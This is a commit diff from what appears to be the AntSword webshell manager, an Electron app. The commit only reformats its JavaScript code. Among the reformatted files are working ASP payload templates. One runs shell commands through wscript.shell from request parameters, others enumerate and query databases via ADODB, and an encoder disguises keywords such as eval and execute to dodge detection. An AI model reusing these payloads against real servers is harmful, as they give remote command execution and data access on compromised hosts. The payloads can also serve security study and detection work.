Commit 0c4b2415 authored by Medicean's avatar Medicean

(Other: Format) 美化代码

parent a10727c3
......@@ -8,7 +8,11 @@
const path = require('path');
const electron = require('electron');
const {app, protocol, BrowserWindow} = require('electron');
const {
app,
protocol,
BrowserWindow
} = require('electron');
// 注册为标准 scheme, 默认情况下web storage apis (localStorage, sessionStorage, webSQL,
// indexedDB, cookies) 被禁止访问非标准schemes
......@@ -16,9 +20,9 @@ protocol.registerStandardSchemes(['ant-views', 'ant-static', 'ant-src']);
app.once('ready', () => {
/**
* 注册静态资源protocol
* - 可通过注册的协议访问资源文件,如ant-static://libs/jquery.jquery.js
*/
* 注册静态资源protocol
* - 可通过注册的协议访问资源文件,如ant-static://libs/jquery.jquery.js
*/
[
[
'static', '/static/', 13
......@@ -66,14 +70,14 @@ app.once('ready', () => {
// 窗口事件监听
mainWindow.on('close', (event) => {
event.preventDefault();
app.exit(0);
}).on('minimize', (event) => {
event.preventDefault();
if (process.platform == 'darwin') {
app.hide();
} else {
mainWindow.hide();
event.preventDefault();
app.exit(0);
}).on('minimize', (event) => {
event.preventDefault();
if (process.platform == 'darwin') {
app.hide();
} else {
mainWindow.hide();
}
})
.on('resize', reloadUI)
......@@ -96,4 +100,4 @@ app.once('ready', () => {
].map((_) => {
new(require(`./modules/${_}`))(electron, app, mainWindow);
});
});
});
\ No newline at end of file
......@@ -37,7 +37,7 @@ class Cache {
* @param {String} id 数据存储文件名
* @return {[type]} [description]
*/
createDB(id = String(+ new Date)) {
createDB(id = String(+new Date)) {
return new Datastore({
filename: path.join(CONF.cachePath, id),
autoload: true
......@@ -152,4 +152,4 @@ class Cache {
}
}
module.exports = Cache;
module.exports = Cache;
\ No newline at end of file
......@@ -18,10 +18,10 @@ class Conf {
let _oldPath = path.join(process.env.HOME || process.env.LOCALAPPPATH || process.cwd() || '.', '.antSword', 'shell.db');
// 数据存储目录
this.basePath = path.join(process.env.AS_WORKDIR, 'antData')
// 初始化目录
!fs.existsSync(this.basePath)
? fs.mkdirSync(this.basePath)
: null;
// 初始化目录
!fs.existsSync(this.basePath) ?
fs.mkdirSync(this.basePath) :
null;
// 旧数据搬迁
if (fs.existsSync(_oldPath) && !fs.existsSync(this.dataPath)) {
fs.writeFileSync(this.dataPath, fs.readFileSync(_oldPath))
......@@ -47,9 +47,9 @@ class Conf {
get cachePath() {
let _ = path.join(this.basePath, '/cache/');
// 创建缓存目录
!fs.existsSync(_)
? fs.mkdirSync(_)
: null;
!fs.existsSync(_) ?
fs.mkdirSync(_) :
null;
return _;
}
......@@ -60,9 +60,9 @@ class Conf {
*/
get plugPath() {
let _ = path.join(this.basePath, '/plugins/');
!fs.existsSync(_)
? fs.mkdirSync(_)
: null;
!fs.existsSync(_) ?
fs.mkdirSync(_) :
null;
return _;
}
......@@ -73,9 +73,9 @@ class Conf {
*/
get tmpPath() {
let _ = path.join(this.basePath, '/.temp/');
!fs.existsSync(_)
? fs.mkdirSync(_)
: null;
!fs.existsSync(_) ?
fs.mkdirSync(_) :
null;
return _;
}
......@@ -93,4 +93,4 @@ class Conf {
}
module.exports = new Conf();
module.exports = new Conf();
\ No newline at end of file
......@@ -23,7 +23,10 @@ class Database {
*/
constructor(electron) {
logger = new electron.Logger('Database');
this.cursor = new Datastore({filename: CONF.dataPath, autoload: true});
this.cursor = new Datastore({
filename: CONF.dataPath,
autoload: true
});
// 监听事件
electron
.ipcMain
......@@ -56,7 +59,7 @@ class Database {
Object
.keys(opts)
.map((f) => {
if (opts[f]instanceof Object) {
if (opts[f] instanceof Object) {
opts[f] = self.convertOptstoNedbQuery(opts[f]);
}
if (f == "$regex") {
......@@ -81,7 +84,9 @@ class Database {
this
.cursor
.find(opts)
.sort({utime: -1})
.sort({
utime: -1
})
.exec((err, ret) => {
event.returnValue = ret || [];
});
......@@ -125,7 +130,10 @@ class Database {
}
// 获取地理位置
const _addr = qqwry.searchIP(ip);
return res({ip: ip, addr: `${_addr.Country} ${_addr.Area}`});
return res({
ip: ip,
addr: `${_addr.Country} ${_addr.Area}`
});
})
})
}
......@@ -159,8 +167,8 @@ class Database {
decoder: opts.base['decoder'],
httpConf: opts.http,
otherConf: opts.other,
ctime: + new Date,
utime: + new Date
ctime: +new Date,
utime: +new Date
}, (_err, _ret) => {
event.returnValue = _err || _ret;
});
......@@ -205,7 +213,7 @@ class Database {
decoder: _new.base['decoder'],
httpConf: _new.http,
otherConf: _new.other,
utime: + new Date
utime: +new Date
}
}, (_err, _ret) => {
event.returnValue = _err || _ret;
......@@ -232,7 +240,7 @@ class Database {
}, {
$set: {
httpConf: opt.conf,
utime: + new Date
utime: +new Date
}
}, (_err, _ret) => {
event.returnValue = _err || _ret;
......@@ -319,7 +327,7 @@ class Database {
}, {
$set: {
category: opts['category'] || 'default',
utime: + new Date
utime: +new Date
}
}, {
multi: true
......@@ -343,7 +351,7 @@ class Database {
}, (err, ret) => {
let confs = ret['database'] || {};
// 随机Id(顺序增长
const random_id = parseInt(+ new Date + Math.random() * 1000).toString(16);
const random_id = parseInt(+new Date + Math.random() * 1000).toString(16);
// 添加到配置
confs[random_id] = opts['data'];
// 更新数据库
......@@ -354,7 +362,7 @@ class Database {
}, {
$set: {
database: confs,
utime: + new Date
utime: +new Date
}
}, (_err, _ret) => {
event.returnValue = random_id;
......@@ -386,7 +394,7 @@ class Database {
}, {
$set: {
database: confs,
utime: + new Date
utime: +new Date
}
}, (_err, _ret) => {
event.returnValue = opts['id'];
......@@ -419,7 +427,7 @@ class Database {
}, {
$set: {
database: confs,
utime: + new Date
utime: +new Date
}
}, (_err, _ret) => {
event.returnValue = _err || _ret;
......@@ -462,11 +470,11 @@ class Database {
ret['plugins'] = ret['plugins'] || {};
let confs = ret['plugins'][plugin] || {};
// 随机Id(顺序增长
const random_id = parseInt(+ new Date + Math.random() * 1000).toString(16);
const random_id = parseInt(+new Date + Math.random() * 1000).toString(16);
// 添加到配置
confs[random_id] = opts['data'];
let setdata = {
utime: + new Date
utime: +new Date
}
setdata[`plugins.${plugin}`] = confs;
......@@ -501,7 +509,7 @@ class Database {
// 添加到配置
confs[opts['id']] = opts['data'];
let setdata = {
utime: + new Date
utime: +new Date
}
setdata[`plugins.${plugin}`] = confs;
// 更新数据库
......@@ -537,7 +545,7 @@ class Database {
// 2. 删除配置
delete confs[opts['id']];
let setdata = {
utime: + new Date
utime: +new Date
}
setdata[`plugins.${plugin}`] = confs;
// 3. 更新数据库
......@@ -574,4 +582,4 @@ class Database {
}
}
module.exports = Database;
module.exports = Database;
\ No newline at end of file
......@@ -24,9 +24,9 @@ class Logger {
let tm = new Date()
.toTimeString()
.split(' ')[0];
let log = typeof logs === 'object'
? JSON.stringify(logs)
: String(logs);
let log = typeof logs === 'object' ?
JSON.stringify(logs) :
String(logs);
return `[${tm}] ${type.toUpperCase()}::${this.tag}\t${log}`;
}
......@@ -78,4 +78,4 @@ class Logger {
module.exports = (win) => {
mainWindow = win;
return Logger;
}
}
\ No newline at end of file
This diff is collapsed.
......@@ -149,4 +149,4 @@ class PlugStore {
}
}
module.exports = PlugStore;
module.exports = PlugStore;
\ No newline at end of file
......@@ -12,7 +12,9 @@ const fs = require('fs'),
CONF = require('./config'),
superagent = require('superagent'),
superagentProxy = require('superagent-proxy');
const {Readable} = require("stream");
const {
Readable
} = require("stream");
let logger;
// 请求UA
......@@ -46,9 +48,9 @@ class Request {
* @return {[type]} [description]
*/
onAproxy(event, opts) {
logger.debug('aProxy::Set Proxy Mode -', APROXY_CONF['mode'] === 'manualproxy'
? APROXY_CONF['uri']
: 'noproxy');
logger.debug('aProxy::Set Proxy Mode -', APROXY_CONF['mode'] === 'manualproxy' ?
APROXY_CONF['uri'] :
'noproxy');
APROXY_CONF['mode'] = opts['aproxymode'];
APROXY_CONF['uri'] = opts['aproxyuri'];
......@@ -145,15 +147,17 @@ class Request {
.sender
.send('request-chunk-' + opts['hash'], chunk);
}, res, (err, ret) => {
let buff = ret
? ret
: Buffer.from();
let buff = ret ?
ret :
Buffer.from();
// 自动猜测编码
let encoding = detectEncoding(buff, {defaultEncoding: "unknown"});
let encoding = detectEncoding(buff, {
defaultEncoding: "unknown"
});
logger.debug("detect encoding:", encoding);
encoding = encoding != "unknown"
? encoding
: opts['encode'];
encoding = encoding != "unknown" ?
encoding :
opts['encode'];
let text = iconv.decode(buff, encoding);
if (err && text == "") {
return event
......@@ -221,17 +225,19 @@ class Request {
.sender
.send('request-error-' + opts['hash'], err);
}
let buff = ret.hasOwnProperty('body')
? ret.body
: Buffer.from();
let buff = ret.hasOwnProperty('body') ?
ret.body :
Buffer.from();
// 解码
let text = "";
// 自动猜测编码
let encoding = detectEncoding(buff, {defaultEncoding: "unknown"});
let encoding = detectEncoding(buff, {
defaultEncoding: "unknown"
});
logger.debug("detect encoding:", encoding);
encoding = encoding != "unknown"
? encoding
: opts['encode'];
encoding = encoding != "unknown" ?
encoding :
opts['encode'];
text = iconv.decode(buff, encoding);
if (err && text == "") {
return event
......@@ -416,16 +422,16 @@ class Request {
let index_s = chunkHex.indexOf(tagHexS);
let index_e = chunkHex.lastIndexOf(tagHexE);
temp = chunkHex.substr(index_s + tagHexS.length, index_e - index_s - tagHexE.length);
foundTagS = foundTagE =// 如果只包含前截断,则截取后边
true;
foundTagS = foundTagE = // 如果只包含前截断,则截取后边
true;
} else if (chunkHex.indexOf(tagHexS) >= 0 && chunkHex.lastIndexOf(tagHexE) === -1) {
temp = chunkHex.split(tagHexS)[1];
foundTagS =// 如果只包含后截断,则截取前边
true;
foundTagS = // 如果只包含后截断,则截取前边
true;
} else if (chunkHex.indexOf(tagHexS) === -1 && chunkHex.lastIndexOf(tagHexE) >= 0) {
temp = chunkHex.split(tagHexE)[0];
foundTagE =// 如果有没有,那就是中途迷路的数据啦 ^.^
true;
foundTagE = // 如果有没有,那就是中途迷路的数据啦 ^.^
true;
} else if (foundTagS && !foundTagE) {
temp = chunkHex;
}
......@@ -465,29 +471,29 @@ function detectEncoding(buffer, options) {
var defaultEncoding = options.defaultEncoding || DEFAULT_ENCODING;
var minConfidence = options.minConfidence || MIN_CONFIDENCE;
var ret = jschardet.detect(buffer),
encoding = ret.encoding === 'ascii'
? 'utf-8'
: ret.encoding,
encoding = ret.encoding === 'ascii' ?
'utf-8' :
ret.encoding,
confidence = ret.confidence;
// var VALID_ENCODINGS = ['gb2312', 'gbk', 'utf-8', 'big5', 'euc-kr','euc-jp'];
if (encoding === null || !iconv.encodingExists(encoding) || confidence < minConfidence) {
return verbose
? {
return verbose ?
{
encoding: defaultEncoding,
oriEncoding: encoding,
confidence: confidence
}
: defaultEncoding;
} :
defaultEncoding;
} else {
encoding = encoding.toUpperCase();
return verbose
? {
return verbose ?
{
encoding: encoding,
oriEncoding: encoding,
confidence: confidence
}
: encoding;
} :
encoding;
}
};
......@@ -503,15 +509,15 @@ class AntRead extends Readable {
super();
this.index = 0;
let o = {};
o.step = options.hasOwnProperty('step')
? parseInt(options['step'])
: 2;
o.step = o.step < 1
? 2
: o.step;
o.stepmax = options.hasOwnProperty('stepmax')
? options['stepmax']
: o.step;
o.step = options.hasOwnProperty('step') ?
parseInt(options['step']) :
2;
o.step = o.step < 1 ?
2 :
o.step;
o.stepmax = options.hasOwnProperty('stepmax') ?
options['stepmax'] :
o.step;
if (o.stepmax < o.step) {
o.stepmax = o.step;
}
......@@ -563,4 +569,4 @@ class AntRead extends Readable {
}
}
module.exports = Request;
module.exports = Request;
\ No newline at end of file
......@@ -201,7 +201,11 @@ class Update {
// TODO: 需不需要备份?
// TODO: 删除原来的 node_modules 目录 解压数据
tar
.x({file: savePath, strip: 1, C: process.env.AS_WORKDIR})
.x({
file: savePath,
strip: 1,
C: process.env.AS_WORKDIR
})
.then(_ => {
that
.logger
......@@ -222,4 +226,4 @@ class Update {
}
}
module.exports = Update;
module.exports = Update;
\ No newline at end of file
This diff is collapsed.
......@@ -16,9 +16,9 @@ class CacheManager {
id: this.id,
tag: tag
});
return ret
? ret['cache']
: false;
return ret ?
ret['cache'] :
false;
}
// 更新缓存
......@@ -40,9 +40,11 @@ class CacheManager {
// 清空缓存
clear() {
return this.sender('cache-clear', {id: this.id});
return this.sender('cache-clear', {
id: this.id
});
}
}
module.exports = CacheManager;
module.exports = CacheManager;
\ No newline at end of file
......@@ -29,32 +29,32 @@ class Decodes {
var defaultEncoding = options.defaultEncoding || DEFAULT_ENCODING;
var minConfidence = options.minConfidence || MIN_CONFIDENCE;
var ret = jschardet.detect(buffer),
encoding = ret.encoding === 'ascii'
? 'utf-8'
: ret.encoding,
encoding = ret.encoding === 'ascii' ?
'utf-8' :
ret.encoding,
confidence = ret.confidence;
// var VALID_ENCODINGS = ['gb2312', 'gbk', 'utf-8', 'big5', 'euc-kr','euc-jp'];
if (encoding === null || !iconv.encodingExists(encoding) || confidence < minConfidence) {
return verbose
? {
return verbose ?
{
encoding: defaultEncoding,
oriEncoding: encoding,
confidence: confidence
}
: defaultEncoding;
} :
defaultEncoding;
} else {
encoding = encoding.toUpperCase();
return verbose
? {
return verbose ?
{
encoding: encoding,
oriEncoding: encoding,
confidence: confidence
}
: encoding;
} :
encoding;
}
}
}
module.exports = Decodes;
module.exports = Decodes;
\ No newline at end of file
......@@ -14,4 +14,4 @@ const ENCODES = [
'Windows-874',
'Windows-1251'
];
module.exports = ENCODES;
module.exports = ENCODES;
\ No newline at end of file
......@@ -58,4 +58,4 @@ class Menubar {
}
module.exports = Menubar;
module.exports = Menubar;
\ No newline at end of file
......@@ -7,10 +7,10 @@
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data) => {
let _tmp = data['_'].replace(/(eval|cute|execute|server|script|timeout|resume|next|function|for|else|response|mid|end|step|write|then|isnumeric)/ig, function ($, $1) {
// asunescape(%) 表示括号内的内容不会被 URL 编码
......
......@@ -87,4 +87,4 @@ class ASP extends Base {
}
}
module.exports = ASP;
module.exports = ASP;
\ No newline at end of file
......@@ -4,10 +4,12 @@
*/
module.exports = () => ({
info:
`Dim S:SET C=CreateObject("Scripting.FileSystemObject"):If Err Then:S="ERROR:// "&Err.Description:Err.Clear:Else:S=Server.Mappath(".")&chr(9):For Each D in C.Drives:S=S&D.DriveLetter&chr(58):Next:End If:Response.Write(S)`,
info: {
_: `Dim S:SET C=CreateObject("Scripting.FileSystemObject"):If Err Then:S="ERROR:// "&Err.Description:Err.Clear:Else:S=Server.Mappath(".")&chr(9):For Each D in C.Drives:S=S&D.DriveLetter&chr(58):Next:End If:Response.Write(S)`
},
probedb: // 检测数据库函数支持
`Function fe(strobj):
{
_: `Function fe(strobj):
on error resume next:
fe=0:
server.CreateObject(strobj):
......@@ -17,5 +19,6 @@ module.exports = () => ({
m=split(m,"|"):
for i=0 to ubound(m):
Response.Write(m(i)&chr(9)&fe(m(i))&chr(10)):
next:`.replace(/\n\s+/g, ''),
})
next:`.replace(/\n\s+/g, '')
},
})
\ No newline at end of file
......@@ -4,14 +4,12 @@
module.exports = (arg1, arg2) => ({
exec: {
_:
`Set X=CreateObject("wscript.shell").exec(""""&bd(Request("${arg1}"))&""" /c """&bd(Request("${arg2}"))&""""):If Err Then:S="[Err] "&Err.Description:Err.Clear:Else:O=X.StdOut.ReadAll():E=X.StdErr.ReadAll():S=O&E:End If:Response.write(S)`,
_: `Set X=CreateObject("wscript.shell").exec(""""&bd(Request("${arg1}"))&""" /c """&bd(Request("${arg2}"))&""""):If Err Then:S="[Err] "&Err.Description:Err.Clear:Else:O=X.StdOut.ReadAll():E=X.StdErr.ReadAll():S=O&E:End If:Response.write(S)`,
[arg1]: "#{hex::bin}",
[arg2]: "#{hex::cmd}"
},
listcmd: {
_:
`AA=Split(""&bd(Request("${arg1}"))&"",","):
_: `AA=Split(""&bd(Request("${arg1}"))&"",","):
Set FS=CreateObject("Scripting.FileSystemObject"):
For Each A in AA:
Response.Write(A&chr(9)):
......@@ -25,4 +23,4 @@ module.exports = (arg1, arg2) => ({
`.replace(/\n\s+/g, ''),
[arg1]: "#{hex::binarr}",
}
})
})
\ No newline at end of file
......@@ -5,29 +5,25 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
_: `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
[arg1]: '#{hex::conn}',
// [arg2]: '#{dbname}'
},
// 显示数据库所有表
show_tables: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI="":Do While Not Rs.Eof:If Rs("TABLE_TYPE")="TABLE" Then:SI=SI&Rs("TABLE_NAME")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
_: `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI="":Do While Not Rs.Eof:If Rs("TABLE_TYPE")="TABLE" Then:SI=SI&Rs("TABLE_NAME")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
[arg1]: '#{hex::conn}',
},
// 显示表字段
show_columns: {
_:
`Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
_: `Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
[arg1]: '#{hex::conn}',
[arg2]: '#{hex::table}'
},
// 执行SQL语句
query: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("${arg1}"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`,
_: `Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("${arg1}"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`,
[arg1]: '#{hex::conn}',
[arg2]: '#{hex::sql}',
}
})
})
\ No newline at end of file
......@@ -5,28 +5,24 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
_: `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
[arg1]: '#{hex::conn}'
},
// 显示数据库所有表
show_tables: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI="":Do While Not Rs.Eof:If Rs("TABLE_TYPE")="TABLE" Then:SI=SI&Rs("TABLE_NAME")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
_: `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI="":Do While Not Rs.Eof:If Rs("TABLE_TYPE")="TABLE" Then:SI=SI&Rs("TABLE_NAME")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
[arg1]: '#{hex::conn}',
},
// 显示表字段
show_columns: {
_:
`Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
_: `Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
[arg1]: '#{hex::conn}',
[arg2]: '#{hex::table}'
},
// 执行SQL语句
query: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("${arg1}"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`,
_: `Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("${arg1}"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`,
[arg1]: '#{hex::conn}',
[arg2]: '#{hex::sql}',
}
})
})
\ No newline at end of file
......@@ -5,8 +5,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):
_: `Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI:
Conn.Open bd(Request("${arg1}")):
If Err Then:
......@@ -32,8 +31,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 显示数据库所有表
show_tables: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):
_: `Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI:
Conn.Open ""&bd(Request("${arg1}"))&"":
If Err Then:
......@@ -60,8 +58,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 显示表字段
show_columns: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):
_: `Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI:
Conn.Open ""&bd(Request("${arg1}"))&"":
If Err Then:
......@@ -86,14 +83,13 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
Conn.Close:
End If:
Set Conn=Nothing:
Response.Write(SI)`.replace(/\n\s+/g,''),
Response.Write(SI)`.replace(/\n\s+/g, ''),
[arg1]: '#{hex::conn}',
[arg2]: '#{hex::table}'
},
// 执行SQL语句
query: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):
